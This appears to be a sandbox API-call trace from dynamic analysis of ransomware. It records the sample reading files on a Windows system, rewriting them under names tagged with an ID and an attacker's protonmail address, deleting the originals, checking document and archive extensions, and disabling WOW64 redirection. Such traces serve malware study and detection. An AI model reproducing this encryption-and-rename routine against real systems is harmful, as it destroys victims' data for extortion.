	[0204.787] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=11694) returned 1
	[0204.787] CloseHandle (hObject=0x434) returned 1
	[0204.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220
	[0204.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0204.788] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.788] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.789] GetLastError () returned 0x0
	[0204.789] ReadFile (in: hFile=0x434, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x2dae, lpOverlapped=0x0) returned 1
	[0204.791] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x2db0, lpOverlapped=0x0) returned 1
	[0204.792] ReadFile (in: hFile=0x434, lpBuffer=0x3c94020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.792] WriteFile (in: hFile=0x580, lpBuffer=0x3c94020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c94020*, lpNumberOfBytesWritten=0x314fc94*=0x138, lpOverlapped=0x0) returned 1
	[0204.792] SetEndOfFile (hFile=0x580) returned 1
	[0204.793] CloseHandle (hObject=0x580) returned 1
	[0204.793] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.793] SetEndOfFile (hFile=0x434) returned 1
	[0204.796] CloseHandle (hObject=0x434) returned 1
	[0204.796] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremdemor_bypasstrial180-ul-oob.xrm-ms")) returned 1
	[0204.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.798] lstrlenW (lpString=".doc") returned 4
	[0204.798] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.798] lstrlenW (lpString=".docx") returned 5
	[0204.798] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.798] lstrlenW (lpString=".pdf") returned 4
	[0204.798] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.798] lstrlenW (lpString=".xls") returned 4
	[0204.798] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.798] lstrlenW (lpString=".xlsx") returned 5
	[0204.798] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.798] lstrlenW (lpString=".ppt") returned 4
	[0204.799] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.799] lstrlenW (lpString=".zip") returned 4
	[0204.799] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.799] lstrlenW (lpString=".rar") returned 4
	[0204.799] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.799] lstrlenW (lpString=".bz2") returned 4
	[0204.799] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.799] lstrlenW (lpString=".7z") returned 3
	[0204.799] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.799] lstrlenW (lpString=".dbf") returned 4
	[0204.799] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.799] lstrlenW (lpString=".1cd") returned 4
	[0204.799] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.799] lstrlenW (lpString=".jpg") returned 4
	[0204.799] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.799] lstrlenW (lpString=".doc") returned 4
	[0204.799] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0204.799] lstrlenW (lpString=".docx") returned 5
	[0204.799] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0204.799] lstrlenW (lpString=".pdf") returned 4
	[0204.799] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0204.799] lstrlenW (lpString=".xls") returned 4
	[0204.799] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0204.799] lstrlenW (lpString=".xlsx") returned 5
	[0204.799] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0204.799] lstrlenW (lpString=".ppt") returned 4
	[0204.800] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0204.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.800] lstrlenW (lpString=".zip") returned 4
	[0204.800] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0204.800] lstrlenW (lpString=".rar") returned 4
	[0204.800] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0204.800] lstrlenW (lpString=".bz2") returned 4
	[0204.800] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0204.800] lstrlenW (lpString=".7z") returned 3
	[0204.800] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0204.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.800] lstrlenW (lpString=".dbf") returned 4
	[0204.800] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0204.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.800] lstrlenW (lpString=".1cd") returned 4
	[0204.800] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0204.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremDemoR_BypassTrial180-ul-oob.xrm-ms") returned 100
	[0204.800] lstrlenW (lpString=".jpg") returned 4
	[0204.800] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0204.800] lstrlenW (lpString=".id-") returned 4
	[0204.800] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673128 | out: hHeap=0x610000) returned 1
	[0204.800] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6bbd38 | out: hHeap=0x610000) returned 1
	[0204.800] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6dcea8 | out: hHeap=0x610000) returned 1
	[0204.800] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6eceb0 | out: hHeap=0x610000) returned 1
	[0204.801] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3c94020 | out: hHeap=0x610000) returned 1
	[0204.806] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x673110 | out: hHeap=0x610000) returned 1
	[0204.806] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441610
	[0204.806] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441610, Size=0x20) returned 0x6683d0
	[0204.806] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x4441610
	[0204.806] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x4441610, Size=0x20) returned 0x6683f8
	[0204.806] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0204.806] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0204.806] Wow64DisableWow64FsRedirection (in: OldValue=0x314ff50 | out: OldValue=0x314ff50*=0x1) returned 1
	[0204.806] lstrlenW (lpString="kernel32.dll") returned 12
	[0204.806] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6683f8 | out: hHeap=0x610000) returned 1
	[0204.806] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0204.806] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x6683d0 | out: hHeap=0x610000) returned 1

Thread:
	id = 44
	os_tid = 0xdc0

	[0165.117] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3da0048
	[0165.118] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10000) returned 0x3db0050
	[0165.118] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673140
	[0165.118] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x6) returned 0x6bbd48
	[0165.118] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673158
	[0165.118] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x100000) returned 0x3eae020
	[0165.121] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673200
	[0165.121] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673200, Size=0x20) returned 0x64d838
	[0165.121] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x10) returned 0x673278
	[0165.121] RtlReAllocateHeap (Heap=0x610000, Flags=0x0, Ptr=0x673278, Size=0x20) returned 0x64d928
	[0165.121] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0165.122] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0165.122] Wow64DisableWow64FsRedirection (in: OldValue=0x328ff50 | out: OldValue=0x328ff50*=0x0) returned 1
	[0165.122] lstrlenW (lpString="kernel32.dll") returned 12
	[0165.122] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d838 | out: hHeap=0x610000) returned 1
	[0165.122] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0165.122] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x64d928 | out: hHeap=0x610000) returned 1
	[0165.122] Sleep (dwMilliseconds=0x64) 
	[0165.350] Sleep (dwMilliseconds=0x64) 
	[0165.745] Sleep (dwMilliseconds=0x64) 
	[0166.012] Sleep (dwMilliseconds=0x64) 
	[0166.331] Sleep (dwMilliseconds=0x64) 
	[0166.653] Sleep (dwMilliseconds=0x64) 
	[0167.006] Sleep (dwMilliseconds=0x64) 
	[0167.320] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.320] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.320] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0167.422] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=77664) returned 1
	[0167.422] CloseHandle (hObject=0x370) returned 1
	[0167.422] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20
	[0167.422] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.423] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.423] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.423] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.423] lstrlenW (lpString=".doc") returned 4
	[0167.423] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.423] lstrlenW (lpString=".docx") returned 5
	[0167.423] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.423] lstrlenW (lpString=".pdf") returned 4
	[0167.423] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.423] lstrlenW (lpString=".xls") returned 4
	[0167.423] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.423] lstrlenW (lpString=".xlsx") returned 5
	[0167.423] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.423] lstrlenW (lpString=".ppt") returned 4
	[0167.423] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.423] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.423] lstrlenW (lpString=".zip") returned 4
	[0167.424] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.424] lstrlenW (lpString=".rar") returned 4
	[0167.424] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.424] lstrlenW (lpString=".bz2") returned 4
	[0167.424] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.424] lstrlenW (lpString=".7z") returned 3
	[0167.424] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.424] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.424] lstrlenW (lpString=".dbf") returned 4
	[0167.424] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.424] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.424] lstrlenW (lpString=".1cd") returned 4
	[0167.424] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.424] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.424] lstrlenW (lpString=".jpg") returned 4
	[0167.424] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.424] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.424] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.424] lstrlenW (lpString=".doc") returned 4
	[0167.424] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.424] lstrlenW (lpString=".docx") returned 5
	[0167.424] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.424] lstrlenW (lpString=".pdf") returned 4
	[0167.424] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.424] lstrlenW (lpString=".xls") returned 4
	[0167.424] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.424] lstrlenW (lpString=".xlsx") returned 5
	[0167.424] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.424] lstrlenW (lpString=".ppt") returned 4
	[0167.425] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.425] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.425] lstrlenW (lpString=".zip") returned 4
	[0167.425] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.425] lstrlenW (lpString=".rar") returned 4
	[0167.425] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.425] lstrlenW (lpString=".bz2") returned 4
	[0167.425] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.425] lstrlenW (lpString=".7z") returned 3
	[0167.425] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.425] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.425] lstrlenW (lpString=".dbf") returned 4
	[0167.425] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.425] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.425] lstrlenW (lpString=".1cd") returned 4
	[0167.425] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.425] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29
	[0167.425] lstrlenW (lpString=".jpg") returned 4
	[0167.425] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.425] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0167.425] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0167.425] CreateFileW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0167.431] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=75104) returned 1
	[0167.431] CloseHandle (hObject=0x370) returned 1
	[0167.432] GetFileAttributesW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20
	[0167.432] GetFileAttributesW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.433] CreateFileW (lpFileName="C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.433] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.433] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.433] lstrlenW (lpString=".doc") returned 4
	[0167.433] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.433] lstrlenW (lpString=".docx") returned 5
	[0167.433] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.433] lstrlenW (lpString=".pdf") returned 4
	[0167.433] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.433] lstrlenW (lpString=".xls") returned 4
	[0167.433] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.433] lstrlenW (lpString=".xlsx") returned 5
	[0167.433] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.433] lstrlenW (lpString=".ppt") returned 4
	[0167.433] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.433] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.433] lstrlenW (lpString=".zip") returned 4
	[0167.433] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.433] lstrlenW (lpString=".rar") returned 4
	[0167.433] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.433] lstrlenW (lpString=".bz2") returned 4
	[0167.433] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.433] lstrlenW (lpString=".7z") returned 3
	[0167.433] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.433] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.433] lstrlenW (lpString=".dbf") returned 4
	[0167.433] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.434] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.434] lstrlenW (lpString=".1cd") returned 4
	[0167.434] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.434] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.434] lstrlenW (lpString=".jpg") returned 4
	[0167.434] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.434] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.434] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.434] lstrlenW (lpString=".doc") returned 4
	[0167.434] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0167.434] lstrlenW (lpString=".docx") returned 5
	[0167.434] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0167.434] lstrlenW (lpString=".pdf") returned 4
	[0167.434] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0167.434] lstrlenW (lpString=".xls") returned 4
	[0167.434] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0167.434] lstrlenW (lpString=".xlsx") returned 5
	[0167.434] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0167.434] lstrlenW (lpString=".ppt") returned 4
	[0167.434] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0167.434] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.434] lstrlenW (lpString=".zip") returned 4
	[0167.434] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0167.434] lstrlenW (lpString=".rar") returned 4
	[0167.434] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0167.434] lstrlenW (lpString=".bz2") returned 4
	[0167.434] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0167.435] lstrlenW (lpString=".7z") returned 3
	[0167.435] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0167.435] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.435] lstrlenW (lpString=".dbf") returned 4
	[0167.435] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0167.435] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.435] lstrlenW (lpString=".1cd") returned 4
	[0167.435] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0167.435] lstrlenW (lpString="C:\\Boot\\et-EE\\bootmgr.exe.mui") returned 29
	[0167.435] lstrlenW (lpString=".jpg") returned 4
	[0167.435] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0167.435] Sleep (dwMilliseconds=0x64) 
	[0167.709] lstrcmpiW (lpString1=".ttf", lpString2=".html") returned 1
	[0167.709] lstrlenW (lpString="msjhn_boot.ttf") returned 14
	[0167.709] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0167.748] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=162331) returned 1
	[0167.748] CloseHandle (hObject=0x474) returned 1
	[0167.749] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20
	[0167.749] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0167.749] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0167.749] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.749] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.749] lstrlenW (lpString=".doc") returned 4
	[0167.749] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0167.749] lstrlenW (lpString=".docx") returned 5
	[0167.749] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0167.749] lstrlenW (lpString=".pdf") returned 4
	[0167.749] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0167.749] lstrlenW (lpString=".xls") returned 4
	[0167.749] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0167.749] lstrlenW (lpString=".xlsx") returned 5
	[0167.749] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0167.749] lstrlenW (lpString=".ppt") returned 4
	[0167.749] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0167.749] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0167.749] lstrlenW (lpString=".zip") returned 4
	[0167.749] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0167.749] lstrlenW (lpString=".rar") returned 4
	[0167.750] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0167.750] lstrlenW (lpString=".bz2") returned 4
	[0167.750] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0167.750] lstrlenW (lpString=".7z") returned 3
